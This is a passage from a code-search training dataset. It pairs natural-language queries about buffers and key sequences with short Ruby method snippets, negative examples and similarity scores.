"def append_buffer(buffer, hash)\n if hash['message'] != nil\n buffer['message'] << \" #{hash['message'].gsub(\"\\n\", ' ')}\"\n end\n end",
"def flush_buffer; self.input_buffer = \"AAAA\"; end",
"def buffer=(buf)\n @buffer = buf\n @snippet_loader.current_snippets.each do |snippet|\n snippet.buffer = buf\n end\n @manipulators.each { |man| man.buffer = buf }\n monkey_patch_buffer!\n @buffer\n end",
"def initialize(buffer = nil)\n @buf = buffer ? Bytes.force_binary_encoding(buffer) : Bytes.empty_byte_buffer\n @index = 0\n end",
"def source_buffer=(_arg0); end",
"def buffer\n @line[@pos, @line.length - @pos] unless @line.nil?\n end",
"def newWith( stuff )\n @rawContents = stuff\n end",
"def initialize\n @buf_list = []\n @cur_buf = @buf_tail_idx = -1\n @offset = 0\n @is_eos = false\n add_buf\n @cur_buf = @buf_tail_idx\n end",
"def fill_buffer\r\n loop do\r\n begin\r\n new_lines = @file_pointer.read(10_485_760)\r\n rescue StandardError\r\n return nil\r\n end\r\n return nil unless new_lines\r\n\r\n # temp_buf is filled with text split by \"\\n\"\r\n temp_buf = []\r\n ss = StringScanner.new(new_lines)\r\n temp_buf << ss[0] while ss.scan(/.*?\\n/m)\r\n temp_buf << ss.rest unless ss.eos?\r\n\r\n new_first_line = temp_buf.shift\r\n @buffer.last << new_first_line\r\n @buffer << +\"\" if new_first_line[-1, 1] == \"\\n\" # new_first_line.index(\"\\n\")\r\n @buffer += temp_buf unless temp_buf.empty?\r\n @buffer << +\"\" if @buffer.last[-1, 1] == \"\\n\" # @buffer.last.index(\"\\n\")\r\n break if @buffer.size > 1\r\n end\r\n true\r\n end",
"def buffer\n @buffer ||= Buffer.new(config.buffer) do |string|\n @on_output.call(string, :header => log_header) if @on_output\n end\n end",
"def buffer(size = 4)\n \"\\0\" * size\n end",
"def token_buffer_stash(buf)\n @buffers.push(buf)\n end",
"def addFrameExistingBuffer buffer, line, overWrite\n cursor = Cursor.new(self, buffer.fileContent, line)\n frame = Frame.new(cursor, overWrite)\n buffer.addWorkingUser self\n @frames[buffer] = frame\n buffer.id\n end",
"def fill_buffer(options={})\n next_line = []\n unplaced_tokens = []\n # Repeat line-by-line until the whole buffer is placed (a tail end may remain)\n loop do\n # Drop leading whitespace in a line\n while @line_buffer.size > 0\n break unless [:whitespace, :end_of_line].include?(@line_buffer[0].type)\n @line_buffer.shift\n end\n break if @line_buffer.size == 0\n line_size = 0\n unplaced_tokens_size = 0\n last_interval_end = nil\n tokens_placed = false\n # Place tokens in unplaced_tokens; move them to line when they fit, breaking only at whitespace\n loop do\n next_token = @line_buffer.shift\n next_output_text = next_token.output_text\n line_size += next_output_text.size\n unplaced_tokens_size += next_output_text.size\n unplaced_tokens << next_token\n if [:whitespace, :end_of_line].include?(next_token.type) \n if line_size - next_output_text.size <= net_line_length\n next_line += unplaced_tokens\n unplaced_tokens = []\n unplaced_tokens_size = 0\n tokens_placed = true\n else\n break\n end\n end\n last_interval_end = next_token.interval.end\n break if @line_buffer.size == 0\n end\n # At this point: \n # - @line_buffer has had several (possibly all) tokens shifted out of it,\n # - next_line has some (possibly zero) tokens in it, all of which will fit in the next line\n # - unplaced_tokens contains a set of tokens (possibly none) waiting to be placed; they may overflow the line\n # - line_size contains the combined lengths of the tokens in next_line and unplaced_tokens\n # - unplaced_tokens_size contains the combined length of the tokens in unplaced_tokens\n break if line_size < net_line_length\n hyphenated_tokens = unplaced_tokens.flat_map {|token| hyphenate(token)}\n unplaced_tokens = []\n unplaced_tokens_size = 0\n target_line_length = net_line_length - HYPHEN.size\n hyphenated_syllable_count = 0\n while hyphenated_tokens.size > 0\n token = hyphenated_tokens.last # Go in reverse\n break if token.type==:word && hyphenated_syllable_count > 0 && line_size <= target_line_length\n if token.output_text == \"-\" && hyphenated_syllable_count > 0 && line_size <= target_line_length\n hyphenated_tokens.pop\n break\n end\n unplaced_tokens.unshift(hyphenated_tokens.pop)\n token_size = token.output_text.size\n unplaced_tokens_size += token_size\n line_size -= token_size\n hyphenated_syllable_count = token.type == :word ? hyphenated_syllable_count + 1 : 0\n end\n if hyphenated_tokens.size > 0\n next_line += hyphenated_tokens\n next_line << ParsedNode.create(:other, text: HYPHEN, interval: Range.new(last_interval_end, last_interval_end, true)) \\\n if hyphenated_syllable_count > 0\n else\n if !tokens_placed && unplaced_tokens.size > 0 # Didn't place anything\n if unplaced_tokens.first.output_text.size > net_line_length\n long_token = unplaced_tokens.first\n target_line_length = net_line_length\n target_line_length -= HYPHEN.size if long_token.type==:word\n next_line << ParsedNode.create(\n long_token.type,\n text: long_token.output_text[0, target_line_length],\n interval: Range.new(long_token.interval.begin, long_token.interval.begin+target_line_length, true)\n )\n next_line << ParsedNode.create(\n :other,\n text: HYPHEN,\n interval: Range.new(long_token.interval.begin+target_line_length, long_token.interval.begin+target_line_length, true)\n ) if long_token.type == :word\n unplaced_tokens[0] = ParsedNode.create(\n long_token.type,\n text: long_token.output_text[target_line_length..-1],\n interval: Range.new(long_token.interval.begin+target_line_length, long_token.interval.end, true)\n )\n else\n while unplaced_tokens.size > 0 do\n token = unplaced_tokens.first\n token_size = token.output_text.size\n break if line_size + token_size > net_line_length\n next_line << unplaced_tokens.shift\n line_size += token_size\n end\n end\n end\n end\n if unplaced_tokens.size==0 && @line_buffer.size==0\n flush_buffer(next_line, options)\n else\n flush_buffer(next_line)\n end\n next_line = unplaced_tokens\n unplaced_tokens = []\n end\n @line_buffer = next_line + unplaced_tokens\n end",
"def with_buffer(block)\n yield(_erb_buffer(block.binding))\n end",
"def output_buffer=(_arg0); end",
"def output_buffer=(_arg0); end",
"def read_buffer; end",
"def message_buffer; end",
"def source_buffer; end",
"def source_buffer; end",
"def source_buffer; end",
"def with_temp_buffer_string(&block)\n with(:with_temp_buffer){\n self.instance_eval(&block)\n buffer_string\n }\n end",
"def with_output_buffer(buf = T.unsafe(nil)); end",
"def add_buffer\n io = ::StringIO.new('')\n zf = ::Zip::File.new(io, true, true)\n yield zf\n zf.write_buffer(io)\n end",
"def create_begin\n buffer.allocate(4 + @_model.fbe_size)\n end",
"def create_begin\n buffer.allocate(4 + @_model.fbe_size)\n end",
"def create_begin\n buffer.allocate(4 + @_model.fbe_size)\n end",
"def create_begin\n buffer.allocate(4 + @_model.fbe_size)\n end",
"def set(buffer)\n @buffer = buffer.encode('binary')\n @length = buffer.length\n @position = 0\n end",
"def initialize(buffer, position)\n @buffer = buffer\n @stack = [StackEntry.new(self, position)]\n\n trace false\n trace_with :print_trace\n trace_to $stdout\n end",
"def initialize(buffer, line_number = nil, column_number = nil)\n self.text = buffer\n @line_number = line_number || TextMate.line_number\n @column_number = column_number || TextMate.column_number\n @stack = []\n end",
"def add_buffers!(name)\n Vedeu::Buffers::Buffer.new(name: name).store\n end",
"def add_buffers!(name)\n Vedeu::Buffers::Buffer.new(name: name).store\n end",
"def write_buffer(io = T.unsafe(nil)); end",
"def buffer_s\n buffer.join\n end",
"def test_with\n x = with_temp_buffer_string {\n insert_string(\"a\\n\")\n with(:save_excursion) {\n beginning_of_buffer\n insert_string(\"This is inserted at the beginning of buffer.\"); newline\n }\n }\n assert_equal(\"This is inserted at the beginning of buffer.\\na\\n\", x)\n end",
"def output_buffer; end",
"def output_buffer; end",
"def alloc_buffer(len, data=nil)\n if !@buffer || len>@buffer.size\n free_buffer\n @buffer = FFI::MemoryPointer.new(len, 1, false)\n end\n @buffer.put_bytes(0, data) if data\n @transfer[:buffer] = @buffer\n @transfer[:length] = len\n end",
"def to_buffer(item)\n\n #Try to convert the item to an array, and then to a string,\n #if it supports it. This allows us to easily get a byte string\n #from most Ruby types.\n #\n #Strings _shouldn't_ support either of these methods, and thus will\n #pass unaltered.\n # \n item = item.to_a if item.respond_to?(:to_a)\n item = item.pack(\"C*\") if item.respond_to?(:pack)\n \n #Create a new buffer, and fill it with our byte string.\n buffer = FFI::MemoryPointer.new(item.byte_size)\n buffer.put_bytes(0, item)\n\n #And return the filled buffer.\n return buffer\n \n end",
"def initialize(obj)\n @buf = \"\"\n @indent = \"\"\n render(obj)\n end",
"def block_buffer(&block)\n yield if block_given?\n BLOCK_BUFFER\n end",
"def buffer=(buffer)\n @io = buffer\n end",
"def insert(buf); @a.copy(buf); end",
"def placeholder\n s = \"\"\n buffer << s\n s\n end",
"def show_code_buffer(code)\n return (@output.puts \"Buffer empty.\") if code.size.zero?\n @output.puts \"== BUFFER ==\\n\"\n code.each_with_index do |buf, line_num|\n @output.print \"#{line_num + 1}: \".rjust(5)\n @output.puts buf\n end\n end",
"def write_buffer(io = T.unsafe(nil), encrypter = T.unsafe(nil)); end",
"def remainder_as_buffer; end",
"def append_to(buffer)\n tempfile.rewind\n\n buf = String.new\n buffer << tempfile.readpartial(65_536, buf) until tempfile.eof?\n\n tempfile.rewind\n\n nil\n end",
"def encode_block(state, buf)\n\t\tbuf\n\tend",
"def buffer_from_block content_block\n context = content_block.binding\n result_variable = eval(Program::RESULT_VARIABLE_BACKDOOR, context)\n eval result_variable.to_s, context\n end",
"def initialize(input, properties={})\n @escape = escape = properties.fetch(:escape){properties.fetch(:escape_html, false)}\n trim = properties[:trim] != false\n @filename = properties[:filename]\n @bufvar = bufvar = properties[:bufvar] || properties[:outvar] || \"_buf\"\n bufval = properties[:bufval] || '::String.new'\n regexp = properties[:regexp] || DEFAULT_REGEXP\n literal_prefix = properties[:literal_prefix] || '<%'\n literal_postfix = properties[:literal_postfix] || '%>'\n preamble = properties[:preamble] || \"#{bufvar} = #{bufval};\"\n postamble = properties[:postamble] || \"#{bufvar}.to_s\\n\"\n @chain_appends = properties[:chain_appends]\n @text_end = if properties.fetch(:freeze_template_literals, FREEZE_TEMPLATE_LITERALS)\n \"'.freeze\"\n else\n \"'\"\n end\n\n @buffer_on_stack = false\n @src = src = properties[:src] || String.new\n src << \"# frozen_string_literal: true\\n\" if properties[:freeze]\n if properties[:ensure]\n src << \"begin; __original_outvar = #{bufvar}\"\n if SKIP_DEFINED_FOR_INSTANCE_VARIABLE && /\\A@[^@]/ =~ bufvar\n src << \"; \"\n else\n src << \" if defined?(#{bufvar}); \"\n end\n end\n\n unless @escapefunc = properties[:escapefunc]\n if escape\n @escapefunc = '__erubi.h'\n src << \"__erubi = ::Erubi; \"\n else\n @escapefunc = '::Erubi.h'\n end\n end\n\n src << preamble\n\n pos = 0\n is_bol = true\n input.scan(regexp) do |indicator, code, tailch, rspace|\n match = Regexp.last_match\n len = match.begin(0) - pos\n text = input[pos, len]\n pos = match.end(0)\n ch = indicator ? indicator[RANGE_FIRST] : nil\n\n lspace = nil\n\n unless ch == '='\n if text.empty?\n lspace = \"\" if is_bol\n elsif text[RANGE_LAST] == \"\\n\"\n lspace = \"\"\n else\n rindex = text.rindex(\"\\n\")\n if rindex\n range = rindex+1..-1\n s = text[range]\n if /\\A[ \\t]*\\z/.send(MATCH_METHOD, s)\n lspace = s\n text[range] = ''\n end\n else\n if is_bol && /\\A[ \\t]*\\z/.send(MATCH_METHOD, text)\n lspace = text\n text = ''\n end\n end\n end\n end\n\n is_bol = rspace\n add_text(text)\n case ch\n when '='\n rspace = nil if tailch && !tailch.empty?\n add_expression(indicator, code)\n add_text(rspace) if rspace\n when nil, '-'\n if trim && lspace && rspace\n add_code(\"#{lspace}#{code}#{rspace}\")\n else\n add_text(lspace) if lspace\n add_code(code)\n add_text(rspace) if rspace\n end\n when '#'\n n = code.count(\"\\n\") + (rspace ? 1 : 0)\n if trim && lspace && rspace\n add_code(\"\\n\" * n)\n else\n add_text(lspace) if lspace\n add_code(\"\\n\" * n)\n add_text(rspace) if rspace\n end\n when '%'\n add_text(\"#{lspace}#{literal_prefix}#{code}#{tailch}#{literal_postfix}#{rspace}\")\n else\n handle(indicator, code, tailch, rspace, lspace)\n end\n end\n rest = pos == 0 ? input : input[pos..-1]\n add_text(rest)\n\n src << \"\\n\" unless src[RANGE_LAST] == \"\\n\"\n add_postamble(postamble)\n src << \"; ensure\\n \" << bufvar << \" = __original_outvar\\nend\\n\" if properties[:ensure]\n src.freeze\n freeze\n end",
"def buffered!(len=nil, buffer_name=:default, opts={}, &block)\n semaphore.synchronize {\n ret, still_to_get = buffer(buffer_name, opts[:type]).offset!(len)\n if still_to_get > 0\n src_data = Support::Utils.send_all_or_no_args(block, still_to_get)\n called_for = src_data.slice!(0, still_to_get)\n ret.concat(called_for)\n buffer(buffer_name).concat(src_data)\n end\n ret\n }\n end",
"def buffer(buffer_name = nil)\n #@_out_buf\n #buffer_name ||= Tilt.current_template.instance_variable_get('@outvar') || @outvar || Vue::Helpers.default_outvar\n buffer_name ||=\n ((ct = Tilt.current_template) && ct.instance_variable_get(:@outvar)) ||\n Thread.current.instance_variable_get(:@current_eoutvar) ||\n Vue::Helpers.default_outvar\n #puts \"BUFFER thread-ivars: #{Thread.current.instance_variables}, thread-local-vars: #{Thread.current.send(:local_variables)}\"\n #puts \"BUFFER chosen: #{buffer_name}, controller/view ivars: #{instance_variables}, controller/view local-vars: #{local_variables}\"\n #instance_variable_get(buffer_name)\n instance_variable_get(buffer_name.to_s)\n end",
"def render(view, locals, buffer = T.unsafe(nil), add_to_stack: T.unsafe(nil), &block); end",
"def buffer_prev\n buffer_update_info\n if @_buffer_ctr < 1\n buffer_last\n return\n end\n @_buffer_ctr -= 1 if @_buffer_ctr > 0\n x = @_buffer_ctr\n l = @_buffers[x]\n if l\n populate_buffer_from_filename x\n l = @_buffers[x]\n $log.debug \"bp calling set_content with #{l.class} \"\n set_content l, @_buffers_conf[x]\n buffer_update_position\n end\n end",
"def start_new_block\n if (@block_buffer)\n add_block(@block_buffer)\n @block_buffer = nil\n end\n end",
"def close_buffer; end",
"def initialize(buffer, max_size = 5, &block)\n raise('The given buffer must respond to #[] and #size.') unless buffer.respond_to?(:[]) && buffer.respond_to?(:size)\n raise('The maximum buffer size must be greater than or equal to one.') if max_size.nil? || max_size < 1\n raise('A block is required to indicate whether a window matches anything of interest.') unless block_given?\n\n @buffer = buffer\n @max_size = max_size\n @mapper = block\n end",
"def write_cmd(buf)\n\tend",
"def literal(buffer)\n reader = lambda { |string = ''|\n buffer.major_mode.read(1) do |event|\n if unicode = event.unicode\n string += unicode # copy\n buffer.message string.inspect\n\n case result = literal_handle(buffer, string)\n when nil\n reader.call(string)\n when String\n literal_insert(buffer, result)\n end\n else\n return # Unverrichteter Dinge\n end\n end\n }\n\n reader.call\n end",
"def build_signature_buffer(result)\n response = Net::SSH::Buffer.new\n response.write_string data[:client_version_string],\n data[:server_version_string],\n data[:client_algorithm_packet],\n data[:server_algorithm_packet],\n result[:key_blob]\n response.write_bignum dh.pub_key,\n result[:server_dh_pubkey],\n result[:shared_secret]\n response\n end",
"def out text\n @fileBuffer << text << \"\\n\"\nend",
"def initialize(socket, buffer_size=8192)\n @socket,@buffer_size=socket,buffer_size\n @closing = false\n @in_buffer = \"\"\n @in_lines = []\n @out_buffer = \"\"\n # Create an Atom for this connection\n @atom = Hierarchy.instantiate(\"PLAYER\")\n # Define the [SEND PLAYER???](message_lines) code\n CodeStore.define([\"SEND\", @atom], proc { |atoms, args| write(args.join(\"\\n\") << \"\\n\") }) \n end",
"def initialize_buffered_io; end",
"def initialize(buffer)\n @buf = ArrayIStream.new(buffer)\n end",
"def initialize_buffer\r\n @buffer = []\r\n @pointer = 0\r\n def @buffer.clear\r\n @pointer = 0\r\n super\r\n end\r\n end",
"def fill_buffer num_bytes\n while @buffer.bytesize < num_bytes && more_chunks?\n @buffer << next_chunk\n end\n end",
"def alloc_buffer\n ByteArray.new(@block_size)\n end",
"def gets_buffer(*a)\n @device.buffer\n end",
"def append!(buffer)\n @str << buffer.to_s\n self\n end",
"def append!(buffer)\n @str << buffer.to_s\n self\n end"
] |
[
"0.64580494",
"0.64580494",
"0.64580494",
"0.645514",
"0.64307946",
"0.64214927",
"0.6373565",
"0.6305096",
"0.6261392",
"0.61619186",
"0.61504847",
"0.61288255",
"0.6116715",
"0.61000973",
"0.61000973",
"0.6060957",
"0.60351145",
"0.60163367",
"0.6001304",
"0.59913576",
"0.59880877",
"0.59813434",
"0.5961206",
"0.59422123",
"0.58818316",
"0.5849073",
"0.58352",
"0.57982343",
"0.5794808",
"0.5743091",
"0.57167894",
"0.57113564",
"0.5709852",
"0.5709172",
"0.56954896",
"0.5694877",
"0.56867665",
"0.56686205",
"0.5659849",
"0.56446344",
"0.56319577",
"0.56192243",
"0.5611386",
"0.5611386",
"0.55846316",
"0.55755854",
"0.5573306",
"0.5573306",
"0.5573306",
"0.55715436",
"0.55577993",
"0.55522466",
"0.5551883",
"0.5551883",
"0.5551883",
"0.5551883",
"0.55397344",
"0.5471086",
"0.5466024",
"0.5455667",
"0.5455667",
"0.5453645",
"0.5445448",
"0.5434071",
"0.5411318",
"0.5411318",
"0.5402098",
"0.5397792",
"0.5383472",
"0.5379444",
"0.5365643",
"0.53639656",
"0.53500414",
"0.5345436",
"0.53174317",
"0.53163266",
"0.53158796",
"0.5299477",
"0.52967036",
"0.52952635",
"0.5263705",
"0.52533644",
"0.5228969",
"0.522025",
"0.52093047",
"0.52050215",
"0.52047527",
"0.5195998",
"0.5189131",
"0.518708",
"0.5180063",
"0.5169463",
"0.5168557",
"0.516707",
"0.51618165",
"0.5157242",
"0.51520604",
"0.51516813",
"0.51404536",
"0.51404536"
] |
0.843908
|
0
|
Enter the given key sequence in the active buffer
|
def press(key_sequence)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add(key)\n cmd = \"input keyevent #{map_key(key)};\"\n @sequence == \"\" ? @sequence = cmd : @sequence = @sequence + cmd\n end",
"def key_press locator, keycode\r\n command 'keyPress', locator, keycode\r\n end",
"def key_press locator, keycode\r\n command 'keyPress', locator, keycode\r\n end",
"def keypress &block\n @keyblock = block\n end",
"def pressKeyToContinue\n puts \"\\n-- press any key to continue --\"\n gets\nend",
"def press_keycode(key, metastate: [], flags: [])\n @bridge.press_keycode(key, metastate: metastate, flags: flags)\n end",
"def press_keycode(key, metastate: [], flags: [])\n @bridge.press_keycode(key, metastate: metastate, flags: flags)\n end",
"def show_single_key\n system(\"clear\")\n board.render\n\n c = read_char\n\n case c\n when \"\\e[A\"\n # puts \"UP ARROW\"\n board.selected_pos[0] -= 1 unless board.selected_pos[0] < 1\n when \"\\e[B\"\n board.selected_pos[0] += 1 unless board.selected_pos[0] > 7\n # puts \"DOWN ARROW\"\n when \"\\e[C\"\n board.selected_pos[1] += 1 unless board.selected_pos[1] > 7\n # puts \"RIGHT ARROW\"\n when \"\\e[D\"\n board.selected_pos[1] -= 1 unless board.selected_pos[1] < 1\n # puts \"LEFT ARROW\"\n when \"r\"\n make_move(board.selected_pos,\"r\")\n when \"f\"\n make_move(board.selected_pos,\"f\")\n when \"s\"\n save?\n end\n end",
"def press_keysequence(keysequence, delay = 0.012)\n XDo::FFILib.xdo_keysequence_down @_xdo_pointer, @_window, keysequence,\n (delay * 1_000_000).to_i\n end",
"def on_key(ch)\n end",
"def key_listen\n Thread.new do\n loop do \n block = @key_bindings[get_character]\n puts block.call if block\n end\n end\n end",
"def activateKey _args\n \"activateKey _args;\" \n end",
"def type_keysequence(keysequence, delay = 0.012)\n XDo::FFILib.xdo_keysequence @_xdo_pointer, @_window, keysequence,\n (delay * 1_000_000).to_i\n end",
"def show_single_key\n c = read_char\n\n case c\n when \" \"\n pickUpItem()\n when \"i\"\n showInventory\n when \"m\"\n showMap\n when \"v\"\n inspectSurroundings\n puts \"working\"\n when \"q\"\n system ('clear && printf \"\\e[3J\"') or system (\"cls\")\n exit 0\n when \"k\"\n gameOver\n when \"\\e[A\"\n move(c)\n when \"\\e[B\"\n move(c)\n when \"\\e[C\"\n move(c)\n when \"\\e[D\"\n move(c)\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n end\nend",
"def rl_stuff_char(key)\r\n return 0 if (ibuffer_space() == 0)\r\n\r\n if (key == EOF)\r\n key = NEWLINE\r\n @rl_pending_input = EOF\r\n rl_setstate(RL_STATE_INPUTPENDING)\r\n end\r\n @ibuffer[@push_index] = key\r\n @push_index += 1\r\n if (@push_index >= @ibuffer_len)\r\n @push_index = 0\r\n end\r\n\r\n return 1\r\n end",
"def any_key\n puts \"\"\n puts \"Press any key to continue..\"\n STDIN.getch\n end",
"def asking_getchar\n Fiber.yield :input\n end",
"def press_key(letter)\n advance_rotors\n @plugboard.translate(letter)\n end",
"def key_down key\n @keys.push key\n end",
"def show_single_key\n c = read_char\n \n case c\n when \" \"\n puts \"SPACE\"\n when \"\\t\"\n puts \"TAB\"\n when \"\\r\"\n puts @cursor_pos\n when \"\\n\"\n puts \"LINE FEED\"\n when \"\\e\"\n puts \"ESCAPE\"\n \n\n when \"\\e[A\" ##up\n print \"\\033[1A\\033\"\n @cursor_pos[1] -= 1\n when \"\\e[B\" ##down\n print \"\\033[1B\\033\"\n @cursor_pos[1] += 1\n when \"\\e[C\" ##right\n print \"\\033[1C\\033\"\n @cursor_pos[0] += 1\n when \"\\e[D\" ##left\n print \"\\033[1D\\033\"\n @cursor_pos[0] -= 1\n \n\n when \"\\177\"\n puts \"BACKSPACE\"\n when \"\\004\"\n puts \"DELETE\"\n when \"\\e[3~\"\n puts \"ALTERNATE DELETE\"\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n when \"f\"\n puts \"flag\"\n puts \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n puts \"SOMETHING ELSE: #{c.inspect}\"\n end\n\n #p @cursor_pos\nend",
"def process_keyboard\n ACCEPTED_KEYS.each {|key|\n if Input.repeat?(key[0])\n c = (key[0] != :kSPACE) ? Keyboard.add_char(Ascii::SYM[key[0]]) : \" \"\n process_add(c)\n #Sound.play_ok\n play_random_key_sound\n end\n }\n end",
"def getch\n return nil if eos?\n\n do_scan(/./u, true, true, true)\n end",
"def getch\n\n end",
"def putch char\n @current_index ||= 0\n if @editable \n super\n return 0\n else\n match = next_match(char)\n set_buffer match unless match.nil?\n fire_handler :ENTER_ROW, self\n end\n @modified = true\n fire_handler :CHANGE, self # 2008-12-09 14:51 ???\n 0\n end",
"def press_any_key\n # TODO: Print footer.\n get_wch\n end",
"def pressKey\n STDIN.echo = false\n STDIN.raw!\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n return input\nend",
"def rl_read_key()\r\n @rl_key_sequence_length+=1\r\n\r\n if (@rl_pending_input!=0)\r\n c = @rl_pending_input\r\n rl_clear_pending_input()\r\n else\r\n # If the user has an event function, then call it periodically.\r\n if (@rl_event_hook)\r\n while (@rl_event_hook && (c=rl_get_char()).nil?)\r\n\r\n send(@rl_event_hook)\r\n if (@rl_done) # XXX - experimental\r\n return (\"\\n\")\r\n end\r\n if (rl_gather_tyi() < 0) # XXX - EIO\r\n @rl_done = true\r\n return (\"\\n\")\r\n end\r\n end\r\n\r\n else\r\n\r\n if (c=rl_get_char()).nil?\r\n c = send(@rl_getc_function,@rl_instream)\r\n end\r\n end\r\n end\r\n\r\n return (c)\r\n end",
"def getKey\n begin\n # save previous state of stty\n old_state = `stty -g`\n # disable echoing and enable raw (not having to press enter)\n system \"stty raw -echo\"\n# key = STDIN.getc.chr\n key = STDIN.getbyte\n # gather next two characters of special keys\n if(key == \"\\e\")\n extra_thread = Thread.new{\n# key << STDIN.getc.chr\n# key << STDIN.getc.chr\n key << STDIN.getbyte\n key << STDIN.getbyte\n }\n # wait just long enough for special keys to get swallowed\n extra_thread.join(0.00010)\n # kill thread so not-so-long special keys don't wait on getc\n extra_thread.kill\n end\n# rescue => ex\n# puts \"#{ex.class}: #{ex.message}\"\n# puts ex.backtrace\n ensure\n # restore previous state of stty\n system \"stty #{old_state}\"\n end\n return key\nend",
"def rl_bind_key(key, function)\r\n @_rl_keymap[rl_translate_keyseq(key)] = function\r\n @rl_binding_keymap = @_rl_keymap\r\n 0\r\n end",
"def getch\n map_key(key_press)\n end",
"def bindkey_ext_command\n print\n pbold 'Bind a capital letter to an external command'\n print 'Enter a capital letter to bind: '\n key = get_char\n return if key == 'Q'\n\n if /^[A-Z]$/.match?(key)\n print \"Enter an external command to bind to #{key}: \"\n com = gets.chomp\n if com != ''\n print 'Enter prompt for command (blank if same as command): '\n pro = gets.chomp\n pro = com if pro == ''\n end\n print 'Pause after output [y/n]: '\n yn = get_char\n @bindings[key] = \"command_file #{pro} #{yn} #{com}\"\n end\nend",
"def key_up locator, keycode\r\n command 'keyUp', locator, keycode\r\n end",
"def key_up locator, keycode\r\n command 'keyUp', locator, keycode\r\n end",
"def read_keypress(options = {})\n opts = { echo: false, raw: true }.merge(options)\n codes = unbufferred { get_codes(opts) }\n char = codes ? codes.pack('U*') : nil\n\n trigger_key_event(char) if char\n char\n end",
"def send_key(*args); end",
"def char_press\n begin\n system('stty raw -echo') # turn raw input on\n input = $stdin.getc if $stdin.ready?\n input.chr if input\n ensure\n system('stty -raw echo') # turn raw input off\n end\n end",
"def key_up(key)\n focus\n @driver.sc_key_up action_target, key, *action_locator_args\n stall :key_up\n end",
"def activate_tab_with_key_press(key, *modifiers)\n wait_start\n # TODO: FIXME. key_down and up are not yet implemented on mac and windows\n if linux?\n key_down_direct(key,*modifiers)\n key_up_direct(key, *modifiers)\n else\n key_press_direct(key, *modifiers)\n end\n wait_for_window_activated(\"Document Window\")\n end",
"def activate_tab_with_key_press(key, *modifiers)\n wait_start\n # TODO: FIXME. key_down and up are not yet implemented on mac and windows\n if linux? \n key_down(key,*modifiers)\n key_up(key, *modifiers)\n else\n key_press_direct(key, *modifiers)\n end\n wait_for_window_activated(\"Document Window\")\n end",
"def key_press\n x = $stdin.getch\n x += handle_esc if x == \"\\e\"\n\n x\nend",
"def bindkey_ext_command\n print \n pbold \"Bind a capital letter to an external command\"\n print \"Enter a capital letter to bind: \"\n ch = get_char\n return if ch == \"Q\"\n if ch =~ /^[A-Z]$/\n print \"Enter an external command to bind to #{ch}: \"\n com = gets().chomp\n if com != \"\"\n print \"Enter prompt for command (blank if same as command): \"\n pro = gets().chomp\n pro = com if pro == \"\"\n end\n print \"Pause after output [y/n]: \"\n yn = get_char\n $bindings[ch] = \"command_file #{pro} #{yn} #{com}\"\n end\nend",
"def keystroke(componentName, keysequence, componentInfo=nil)\n $marathon.keystroke(ComponentId.new(componentName, componentInfo), keysequence)\nend",
"def getchar\n @key_reader.getchar\n end",
"def keystroke(componentName, keysequence, componentInfo=nil)\n $marathon.keystroke(ComponentId.new(componentName, componentInfo), keysequence)\nend",
"def bind_key keycode, *args, &blk\n #$log.debug \" #{@name} bind_key received #{keycode} \"\n @_key_map ||= {}\n #\n # added on 2011-12-4 so we can pass a description for a key and print it\n # The first argument may be a string, it will not be removed\n # so existing programs will remain as is.\n @key_label ||= {}\n if args[0].is_a?(String) || args[0].is_a?(Symbol)\n @key_label[keycode] = args[0] \n else\n @key_label[keycode] = :unknown\n end\n\n if !block_given?\n blk = args.pop\n raise \"If block not passed, last arg should be a method symbol\" if !blk.is_a? Symbol\n #$log.debug \" #{@name} bind_key received a symbol #{blk} \"\n end\n case keycode\n when String\n # single assignment\n keycode = keycode.getbyte(0) \n when Array\n # double assignment\n # this means that all these keys have to be pressed in succession for this block, like \"gg\" or \"C-x C-c\"\n raise \"A one key array will not work. Pass without array\" if keycode.size == 1\n ee = []\n keycode.each do |e| \n e = e.getbyte(0) if e.is_a? String\n ee << e\n end\n bind_composite_mapping ee, args, blk\n return self\n #@_key_map[a0] ||= OrderedHash.new\n #@_key_map[a0][a1] = blk\n #$log.debug \" XX assigning #{keycode} to _key_map \" if $log.debug? \n else\n $log.debug \" assigning #{keycode} to _key_map for #{self.class}, #{@name}\" if $log.debug? \n end\n @_key_map[keycode] = blk\n @_key_args ||= {}\n @_key_args[keycode] = args\n self\n end",
"def bindkey_ext_command\n #print \n #pbold \"Bind a capital letter to an external command\"\n ch = get_single \"Enter a capital letter to bind: \"\n #ch = get_char\n return if ch == \"Q\"\n if ch =~ /^[A-Z]$/\n print \"Enter an external command to bind to #{ch}: \"\n com = gets().chomp\n if com != \"\"\n print \"Enter prompt for command (blank if same as command): \"\n pro = gets().chomp\n pro = com if pro == \"\"\n end\n print \"Pause after output [y/n]: \"\n yn = get_char\n $bindings[ch] = \"command_file #{pro} #{yn} #{com}\"\n end\nend",
"def key(k, x, y)\n case k\n when 27 # Escape\n exit\n end\n GLUT.PostRedisplay()\n end",
"def next_line\n prompt = TTY::Prompt.new\n prompt.keypress\n # puts \" \\r\"\n end",
"def keyboard_send_keyevent(keyevent)\r\n adb_exec(\"shell input keyevent #{keyevent}\")\r\nend",
"def key_up(*args, device: T.unsafe(nil)); end",
"def press key, options = {}\n key = 'Return' if key == 'ENTER'\n widget = options[:in] || Gtk::Window.toplevels.first\n event = Gdk::EventKey.new(Gdk::Event::KEY_PRESS)\n event.window = widget\n event.state |= Gdk::Window::CONTROL_MASK if key =~ /CTRL+/\n event.state |= Gdk::Window::MOD1_MASK if key =~ /ALT+/\n event.state |= Gdk::Window::SHIFT_MASK if key =~ /SHIFT+/\n event.keyval = Gdk::Keyval.from_name(key.split('+').last)\n widget.grab_focus\n event.send_event = true\n entry = Gdk::Keymap.default.get_entries_for_keyval(event.keyval).first\n event.hardware_keycode = entry[0]\n widget.signal_emit('key_press_event', event)\n process_events\nend",
"def waitForKeyPress\n print \"Press any key to continue\"\n got = STDIN.getch\n # Extra space to overwrite in case next output is short\n print \" \\r\"\n \n # Cancel on CTRL-C\n if got == \"\\x03\"\n puts \"Got interrupt key, quitting\"\n exit 1\n end\nend",
